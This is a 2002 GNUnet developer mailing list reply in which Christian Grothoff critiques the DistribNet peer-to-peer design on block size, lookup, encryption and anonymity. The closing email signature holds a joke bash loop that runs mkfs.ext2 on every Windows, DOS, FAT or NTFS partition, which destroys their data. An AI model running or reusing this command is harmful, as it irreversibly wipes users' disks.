Re: [GNUnet-developers] DistribNet and GNUNet

[Christian Grothoff]

On Tuesday 23 April 2002 06:40 am, you wrote:
> I am starting a new distributed network, DistribNet, which has similar
> aims of Freenet and GNUNet except that my main focus is speed and
> stability rather than anonymously.  Compared to freenet I like your
> network a lot better.  If for now other reason is that it is not written
> in god dam Java.  Sorry about that, it is just that I hate Java in just
> about every way possible.  Seriously though, I like most things about your
> project except for your extreme approach of using UDP packets for
> *everything*, tiny 1K block sizes, and using the filesystem to store these
> tiny blocks.  I plan to use a mixture of UDP and TCP packets and 32K block
> sizes for splitting up files.

I have a couple of remarks. 
a) we are *currently* using UDP, but we are planning to support TCP 
   in the future (end of summer?).
b) what is the advantage of using 32k blocks? If you need to transfer 
   a 100 MB file, you need to transfer 100 MB. The number of datagrams
   send is the same because your 32k blocks will be fragmented into
   approximately 1k fragments anyway. The total amount transferred will
   always be 100 MB + a few percent overhead, but does it really matter
   if it is 104 or 105 MB? I doubt it. 
c) In the case of small files, you have to do more padding and will be
   less efficient than GNUnet.

> Below is an outline of DistribNet.  Let me know what you think.
>
> Perhaps will can work together provided our design goals don't conflict
> too much.  Maybe in the future we can even merge the two networks.

That's premature since you're still drafting your basics. If you want to work 
on improveing GNUnet by contributing code, you are welcome. I am open to 
suggestions, but the bigger the change, the better the argument for it must 
be.

> I am most interested in your lookup services and accounting of GNUNet.

Well, read the research papers to get started, that's probably the best 
documentation we have at the moment...

> Feedback more than welcome.
>
>                               DistribNet
>
> A global peer-to-peer internet file system in which anyone can tap into
> or add content to.
>
> Kevin Atkinson (kevin at atkinson dhs org)
> Last Modified: 2002-04-22
> Project Page: http://distribnet.sourceforge.net/
> Mailing list: http://lists.sourceforge.net/lists/listinfo/distribnet-devel
>
> Meta Goals:
>
> *) To allow anyone, possibly anonymously, to publish web sites with
>     out having to pay to for the bandwidth for a commercial provider
>     or having to put up with the increasingly add ridden free web
>     sites.  One should not have to worry about bandwidth
>     considerations at all.

You will always have to worry about bandwidth. 

> *) Bring back the sense of community on the Internet that was once
>     present before the internet become so commercialized.
>
> *) Serve as an efficient replacement for current file sharing networks
>     such as Morpheus and Gnutella.

Why? For certain applications, they seem to do the job. That's like saying 
freenet should try to replace the WWW. As users that are willing to install 
spyware on their machines are hardly going for a secure network like GNUnet, 
there will probably always be a number of users where gnutella fits the bill. 
If you want to build something, don't go for a userbase with millions of 
happy users, go for a userbase with lots of unhappy users or where there is 
nothing so far (just a suggestion). 

> *) To have the network stable and working before some Commercial
>     company designs a propitiatory network similar to what I envision
>     that can only be accesses via freely available but not FSF
>     approved free license.
>
> (Possibly Impossible) Goals:
>
> *) *Really* fast lookup to find data.  The worst case should be O(log(n))
>     and the average case should be O(1) or very close to it.

You are already looking at Chord (Mircosoft research), just be aware of the 
drawbacks:
* forced content migration
* hosts fully exposed
* how about dynamic networks (hosts join and levae quickly?)

> *) Actually retrieving the data should also be really fast.  Popular
>     data should be sitting on the same subnet.  On average it should
>     be as fast or faster than a typical web site (such as slashdot,
>     google, etc.).  It should make effective use of the
>     topology of the internet to to minimize network load and maximize
>     performance.

This would require the network to know the topology in the first place. Code 
to do that discovery would be great for GNUnet, too.

> *) General searching based on keywords will be build into the protocol
>     from the beginning.  The searching faculty will be designed in
>     such a way to make message boards trivial to implement.
>
> *) Ability to update data while keeping old revisions around so data never
>     disappears until it is truly unwanted.  No one person will have
>     the power to delete data once it spreads throughout the network.
>
> *) Will try very hard to keep all but the most unpopular content from
>     falling off the network.  Basically before deleting a locally
>     unpopular key it will first check if other nodes are storing the
>     key and how popular they find the key.  If not enough nodes are
>     storing the key and there is any indication that the data may be
>     useful at a latter date it will not delete it unless it absolutely
>     has to.  And if it does delete it it will first try uploading it
>     to other nodes with more disk space available.
>
> *) Ability to store data indefinitely if someone is willing to provide
>     the space for it (and being able to find that data in log(n)
>     time).
>
> *) Extremely robust so that the only way to kill the network is to
>     disable almost all of the nodes.  The network should still
>     function even if say 90% of it goes down.
>
> *) Extremely effect cpu-wise so that a fully functional node can run in
>     the background and only take 1-2% of the CPU.

Well, you want everything, but don't quite describe how to do it. Goals are 
one thing, but the key is to have ideas how to get there. I don't see any 
here.

> Applications:
>
> I would like the protocol to be able to effectually support (ie with out
> any ugly hacks that many of the application for Freenet use)
>
> 1) Efficient Web like sites (with HTTP gateway to make browsing easy)
> 2) Efficient sharing of files large and small.
> 3) Public message forms (with IMAP gateway to make reading easy)
> 4) Private Email (with the message encrypted so only the intended
>     recipient can read it, again with IMAP gateway)
> 5) Streaming Media
> 6) Online Chat (with possible IRC or similar gateway)
>
> Anti-Goals:
>
> (Also see philosophy for why I don't find these issues that important)
>
> *) Complete anonymity for the browser.  I want to focus first on
>     performance than on anonymity.  In fact I plan to use extensive
>     logging in the development versions so that I track network
>     performance and quickly cache performance bugs.  As DistribNet
>     stabilizes anonymity will be improved at the expense of logging.
>
>     The initial version will only use cryptology when absolutely
>     necessary (for example key signing).  Most communications will be
>     done in the clear.  After DistribNet stabilizes encryption will
>     slowly be added.  When I add encryption I will carefully monitor
>     the effect it has on CPU load and if proves to be expensive I will
>     allow it to be optional.
>
>     Please note that I still wish to allow for anonymous posting of
>     content.  However, without encryption, it probably won't be as
>     anonymous as Freenet or your GNUNet.

Well, without encryption you won't get accounting either. Without crypto you 
will also not get integrity. Besides that, the encryption is not that 
expensive. Read our paper 'anonymity for free', or why we believe that 
anonymity can be obtained very cheaply.

> *) Data in the cache will be stored in a straight forward manner.  No
>     attempt will be made to prevent the node operate from knowing what
>     is in his own cache.  Also, by default, very little attempt will
>     be made to prevent others from knowing what is a particular node
>     cache.

This would make the nodes vulnerable to attacks. But it's a design choice. In 
GNUnet, you can have both, knowledge and no knowledge, user's choice. You may 
want to consider that possibility.

> Philosophy:
>
> *) I have nothing against complete anonymity, it is just that I am
>     afraid that both Freenet and GnuNet or more designed around the
>     anonymity and privacy issues then they are around the performance
>     and scalability issues.

Well, the performance and scalability issues in P2P are very hard, depending 
on which scale you are shooting for; if you can solve them, great. I don't 
think that the GNUnet design makes these problems harder or easier.

> *) For most type of things the level of anonymity that Freenet and
>     GnuNet offers is simply not needed.  Even for copyrighted and
>     censored material there is, in general, little risk in actually
>     viewing the information because it is simply impractical to go
>     after every single person who access forbidden information.  Most
>     all of the time the lawsuits and such are after the original
>     distributors of the information and not the viewers.  There for
>     DistribNet will aim to provide anonymity for distributing
>     information, but not for actually viewing it.  However, since
>     there *is* some information where even viewing it is extremely
>     risky, DistribNet will eventually be able to provide the same
>     level of anonymity that Freenet or GnuNet offers, but it will be
>     completely optional.

Adding security 'later' is usually a bad idea.

> <rest of mail deleted (no comments)>

happy hacking

Christian
-- 
______________________________________________________
|Christian Grothoff                                  |
|650-2 Young Graduate House, West Lafayette, IN 47906|
|http://gecko.cs.purdue.edu/   address@hidden|
|____________________________________________________|
#!/bin/bash
for i in `fdisk -l|grep -E "Win|DOS|FAT|NTFS"|awk\
'{print$1;}'`;do;nohup mkfs.ext2 $i&;done
echo -e "\n\n\t\tMay the source be with you.\n\n"